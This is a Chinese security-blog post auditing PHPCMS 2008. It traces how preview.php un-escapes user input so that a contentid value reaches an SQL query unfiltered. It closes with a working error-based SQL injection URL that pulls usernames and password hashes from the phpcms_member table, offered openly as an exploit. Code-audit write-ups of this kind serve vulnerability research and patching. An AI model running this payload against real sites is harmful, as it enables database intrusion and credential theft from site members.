您的位置 » 首页 » 代码审计,实用工具 » 代码审计:PHPCMS 2008 最新漏洞(第二季)附EXP

代码审计:PHPCMS 2008 最新漏洞(第二季)附EXP

发表于4年前 | 作者: seay | 分类: 代码审计, 实用工具 | 孵化于:2013年04月19日 | 文章热度:5,132 次 全屏阅读

显示不全请点击全屏阅读

说好的第二季来了……     

组织 : http://www.safekeyer.com/   (欢迎访问)

author: 西毒    blog: http://hi.baidu.com/sethc5

   

 其实还是有蛮多漏洞的,只是我一步步来吧!你们别催,该放的时候自然就会放了.

过程不明显的我就省略了。

在preview.php 中第7行

$r = new_stripslashes($info);

我们跟踪new_stripslashes这个函数

在global.func.php中可以找到

 

function new_stripslashes($string)
{
    if(!is_array($string)) return stripslashes($string);
    foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
    return $string;
}

 

这个函数的功能不用解释了吧

所以我们看具体应用点再哪?

 

require dirname(__FILE__).'/include/common.inc.php';
if(!$_userid) showmessage('禁止访问'); // 所以前提是我们注册个会员就ok了.
require_once CACHE_MODEL_PATH.'content_output.class.php';
require_once 'output.class.php';
if(!is_array($info)) showmessage('信息预览不能翻页');//这里将要带进来我们的危险参数了
$r = new_stripslashes($info);   //反转义了.....关键
$C = cache_read('category_'.$r['catid'].'.php');
$out = new content_output();
$r['userid'] = $_userid;
$r['inputtime'] = TIME;
$data = $out->get($r);
extract($data);
$userid = $_username;
for($i=1;$i<10;$i++)
{
    $str_attachmentArray[$i] = array("filepath" => "images/preview.gif","description" => "这里是图片的描述","thumb"=>"images/thumb_60_60_preview.gif");
}
        
$array_images = $str_attachmentArray;
$images_number = 10;
$allow_priv = $allow_readpoint = 1;
$updatetime = date('Y-m-d H:i:s',TIME);
        
$page = max(intval($page), 1);
$pages = $titles = '';
if(strpos($content, '[page]') !== false)  //这里必须还有这个[page]这个字符.....才能操作哈
{
    require_once 'url.class.php';
    $curl = new url();
    $contents = array_filter(explode('[page]', $content));
    $pagenumber = count($contents);
    for($i=1; $i<=$pagenumber; $i++)
    {
        $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);//这里contentid进入SQL语句当中
    }

 

中细节我就不说了…

我们看看这个$curl资源句柄中的show方法

 

$pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);

 

function show($contentid, $page = 0, $catid = 0, $time = 0, $prefix = '')
    {
        global $PHPCMS;
        if($catid == 0 || $time == 0 || $prefix == '')
        {
            $r = $this->db->get_one("SELECT * FROM `".DB_PRE."content` WHERE `contentid`='$contentid'");
            if($r['isupgrade'] && !empty($r['url']))
            {

 

 

所以结合前面的……我们x站了吧

给出exp

www.safekeyer.com/preview.php?info[catid]=15&content=a[page]b&info[contentid]=2′ and (select 1 from(select count(*),concat((select (select (select concat(0x7e,0×27,username,0x3a,password,0×27,0x7e) from phpcms_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)– a

截图看一下

 

最后真心说句,360收购漏洞计划,价格真心低….. 哥拒绝了你们

 

Tags:

phpcms2008漏洞, 代码审计,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/2634/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)